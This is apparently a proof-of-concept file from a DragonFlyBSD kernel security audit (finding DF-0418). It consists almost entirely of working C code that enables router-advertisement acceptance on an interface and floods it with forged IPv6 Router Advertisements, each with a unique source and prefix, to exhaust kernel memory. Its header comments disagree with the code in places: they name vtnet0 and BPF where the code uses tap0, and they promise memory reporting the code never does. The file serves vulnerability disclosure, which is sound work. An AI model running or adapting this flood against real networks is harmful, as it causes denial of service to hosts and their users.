DragonFlyBSD Kernel Audit
DF-0418 / raflood.c
← back to finding ↓ download raw
/*
 * DF-0418 demonstration: unbounded default-router / prefix list growth via
 * forged Router Advertisements (RFC 6104/6105 RA flooding).
 *
 * Code path (verified): nd6_ra_input (nd6_rtr.c:200) accepts an RA when
 *   !ip6_forwarding && (ND_IFINFO(ifp)->flags & ND6_IFF_ACCEPT_RTADV)   (:221)
 * then defrtrlist_update (:689) kmallocs a fresh nd_defrouter for every
 * unique source link-local and TAILQ_INSERT_TAIL with NO upper bound, and
 * nd6_prelist_add (:765) + pfxrtr_add (:727) do the same for prefixes.
 * The only cap in the tree, nd6_maxndopt (nd6.c:128), limits per-PACKET
 * options, not cross-packet accumulation.  => unbounded kmalloc => kernel
 * memory exhaustion.
 *
 * This program:
 *  1) enables ND6_IFF_ACCEPT_RTADV on vtnet0 via SIOCSIFINFO_FLAGS
 *     (the realistic SLAAC precondition; the global sysctl alone does not set
 *      the per-interface flag for an already-running interface),
 *  2) opens /dev/bpf bound to vtnet0,
 *  3) for i in [0,N): builds an RA Ethernet+IPv6+ICMPv6 frame with a
 *     unique fe80:: source and a unique 2001:db8:<i>::/64 prefix, and
 *     writes it to BPF -- simulating a stream of forged on-link RAs,
 *  4) reports kernel memory growth (vm.stats) around the flood.
 *
 * Must run as root (BPF + ioctl).  The DoS is observable as monotonic
 * growth of the default-router/prefix lists and free-memory decline.
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <net/if.h>
#include <net/if_dl.h>
#include <net/bpf.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <arpa/inet.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

/* DragonFly in6 nd ioctl — minimal userland layout (mirrors struct in6_ondireq, nd6.h:180) */
#ifndef ND6_IFF_ACCEPT_RTADV
#define ND6_IFF_PERFORMNUD  0x1
#define ND6_IFF_ACCEPT_RTADV 0x2
#endif
#ifndef SIOCGIFINFO_IN6
#define SIOCGIFINFO_IN6		_IOWR('i',108,struct my_in6_ndireq)
#define SIOCSIFINFO_FLAGS	_IOWR('i',87,struct my_in6_ndireq)
#endif
struct my_ndi {
	u_int32_t linkmtu, maxmtu, basereachable, reachable, retrans;
	u_int32_t flags;
	int recalctm;
	u_int8_t chlim, reserved, initialized;
	u_int8_t randomseed0[8], randomseed1[8], randomid[8];
};
struct my_in6_ndireq {
	char ifname[IFNAMSIZ];
	struct my_ndi ndi;
};

#define IFNAME "tap0"
#define DST_MAC "\x33\x33\x00\x00\x00\x01"   /* all-nodes multicast */

static int bpf_fd = -1;

/* set ND6_IFF_ACCEPT_RTADV on the interface */
static int
enable_accept_rtadv(const char *ifname)
{
	int s;
	struct my_in6_ndireq nd;
	uint32_t want = ND6_IFF_PERFORMNUD | ND6_IFF_ACCEPT_RTADV;

	if ((s = socket(AF_INET6, SOCK_DGRAM, 0)) < 0 &&
	    (s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) {
		perror("socket"); return -1;
	}
	memset(&nd, 0, sizeof(nd));
	strlcpy(nd.ifname, ifname, sizeof(nd.ifname));
	if (ioctl(s, SIOCGIFINFO_IN6, &nd) < 0) {
		perror("SIOCGIFINFO_IN6"); close(s); return -1;
	}
	fprintf(stderr, "[*] nd flags before: 0x%x\n", nd.ndi.flags);
	nd.ndi.flags = want;
	if (ioctl(s, SIOCSIFINFO_FLAGS, &nd) < 0) {
		perror("SIOCSIFINFO_FLAGS"); close(s); return -1;
	}
	/* re-read to confirm */
	memset(&nd, 0, sizeof(nd));
	strlcpy(nd.ifname, ifname, sizeof(nd.ifname));
	ioctl(s, SIOCGIFINFO_IN6, &nd);
	fprintf(stderr, "[*] nd flags after:  0x%x (ACCEPT_RTADV %s)\n",
	    nd.ndi.flags,
	    (nd.ndi.flags & ND6_IFF_ACCEPT_RTADV) ? "SET" : "NOT SET");
	close(s);
	return (nd.ndi.flags & ND6_IFF_ACCEPT_RTADV) ? 0 : -1;
}

static int
open_bpf(const char *ifname)
{
	(void)ifname;
	/* Writing to /dev/tapN injects the raw Ethernet frame as RX (ingress)
	 * on tapN -- exactly what we need to exercise the ND RA input path. */
	int fd = open("/dev/" IFNAME, O_RDWR);
	if (fd < 0) { perror("open /dev/" IFNAME); return -1; }
	fprintf(stderr, "[+] tap fd=%d on %s (writes = ingress RX)\n", fd, IFNAME);
	bpf_fd = fd;
	return 0;
}

static uint16_t
icmp6_cksum(const struct in6_addr *src, const struct in6_addr *dst,
    const uint8_t *payload, int len)
{
	/* pseudo-header (40) + payload */
	uint32_t sum = 0;
	const uint16_t *p;
	int i;
	uint8_t ph[40];
	memcpy(ph, src, 16);
	memcpy(ph + 16, dst, 16);
	ph[32] = 0; ph[33] = 0; ph[34] = (len >> 8) & 0xff; ph[35] = len & 0xff;
	ph[36] = 0; ph[37] = 0; ph[38] = 0; ph[39] = 58; /* NH=ICMPv6 */
	p = (const uint16_t *)ph;
	for (i = 0; i < 20; i++) sum += ntohs(p[i]);
	p = (const uint16_t *)payload;
	for (i = 0; i < (len / 2); i++) sum += ntohs(p[i]);
	if (len & 1) sum += (payload[len - 1] << 8);
	while (sum >> 16) sum = (sum & 0xffff) + (sum >> 16);
	return htons(~sum & 0xffff);
}

static void
send_ra(uint16_t idx)
{
	uint8_t pkt[14 + 40 + 16 + 32]; /* eth + ipv6 + icmp6 RA + PI opt */
	uint8_t *e = pkt;
	struct ip6_hdr *ip6;
	struct nd_router_advert *ra;
	struct nd_opt_prefix_info *pi;
	struct in6_addr src6, dst6;
	uint16_t csum;

	memset(pkt, 0, sizeof(pkt));
	/* Ethernet: dst all-nodes, src 02:00:00:<idx hi><lo>:00:00 */
	memcpy(e, DST_MAC, 6);
	e[6] = 0x02; e[7] = 0x00; e[8] = 0x00;
	e[9] = (idx >> 8) & 0xff; e[10] = idx & 0xff; e[11] = 0x00; e[12] = 0x00;
	e[13] = 0x86; e[14] = 0xdd; /* ethertype IPv6 -- note: byte 12,13 are type; fix below */

	/* fix ethertype position: bytes 12,13 */
	pkt[12] = 0x86; pkt[13] = 0xdd;

	/* IPv6 header */
	ip6 = (struct ip6_hdr *)(pkt + 14);
	ip6->ip6_vfc = 0x60;
	ip6->ip6_plen = htons(16 + 32); /* RA(16) + PI(32) */
	ip6->ip6_nxt = 58;		/* ICMPv6 */
	ip6->ip6_hlim = 255;
	memset(&src6, 0, sizeof(src6));
	src6.s6_addr[0] = 0xfe; src6.s6_addr[1] = 0x80;
	src6.s6_addr[8] = 0x02; src6.s6_addr[9] = 0x00; src6.s6_addr[10] = 0x00;
	src6.s6_addr[11] = (idx >> 8) & 0xff; src6.s6_addr[12] = idx & 0xff;
	inet_pton(AF_INET6, "ff02::1", &dst6);
	ip6->ip6_src = src6;
	ip6->ip6_dst = dst6;

	/* ICMPv6 Router Advertisement */
	ra = (struct nd_router_advert *)(pkt + 14 + 40);
	ra->nd_ra_type = 134;
	ra->nd_ra_code = 0;
	ra->nd_ra_curhoplimit = 64;
	ra->nd_ra_flags_reserved = 0;
	ra->nd_ra_router_lifetime = htons(1800);
	ra->nd_ra_reachable = 0;
	ra->nd_ra_retransmit = 0;

	/* Prefix Information option (type 3, len 4 units = 32 bytes) */
	pi = (struct nd_opt_prefix_info *)(pkt + 14 + 40 + 16);
	pi->nd_opt_pi_type = ND_OPT_PREFIX_INFORMATION;
	pi->nd_opt_pi_len = 4;
	pi->nd_opt_pi_prefix_len = 64;
	pi->nd_opt_pi_flags_reserved = ND_OPT_PI_FLAG_ONLINK | ND_OPT_PI_FLAG_AUTO;
	pi->nd_opt_pi_valid_time = htonl(1800);
	pi->nd_opt_pi_preferred_time = htonl(1200);
	pi->nd_opt_pi_reserved2 = 0;
	/* unique prefix 2001:db8:<idx>:: */
	pi->nd_opt_pi_prefix.s6_addr[0] = 0x20; pi->nd_opt_pi_prefix.s6_addr[1] = 0x01;
	pi->nd_opt_pi_prefix.s6_addr[2] = 0x0d; pi->nd_opt_pi_prefix.s6_addr[3] = 0xb8;
	pi->nd_opt_pi_prefix.s6_addr[4] = (idx >> 8) & 0xff; pi->nd_opt_pi_prefix.s6_addr[5] = idx & 0xff;

	/* ICMPv6 checksum over RA+PI (16+32=48 bytes) */
	csum = icmp6_cksum(&src6, &dst6, (uint8_t *)ra, 48);
	ra->nd_ra_cksum = csum;

	if (write(bpf_fd, pkt, sizeof(pkt)) < 0)
		perror("bpf write");
}

int main(int argc, char **argv)
{
	int N = (argc > 1) ? atoi(argv[1]) : 200;
	uint16_t i;

	if (enable_accept_rtadv(IFNAME) < 0) {
		fprintf(stderr, "[!] could not enable ACCEPT_RTADV; aborting\n");
		return 2;
	}
	if (open_bpf(IFNAME) < 0) return 2;

	fprintf(stderr, "[+] injecting %d forged RAs (unique src + prefix each)...\n", N);
	for (i = 1; i <= N; i++) {
		send_ra(i);
		if ((i % 50) == 0) fprintf(stderr, "    sent %d\n", i);
		usleep(200);	/* pace to let kernel process */
	}
	fprintf(stderr, "[+] done; sent %d RAs. Check `ndp -an` / `netstat -rn -f inet6` / vm stats.\n", N);
	close(bpf_fd);
	return 0;
}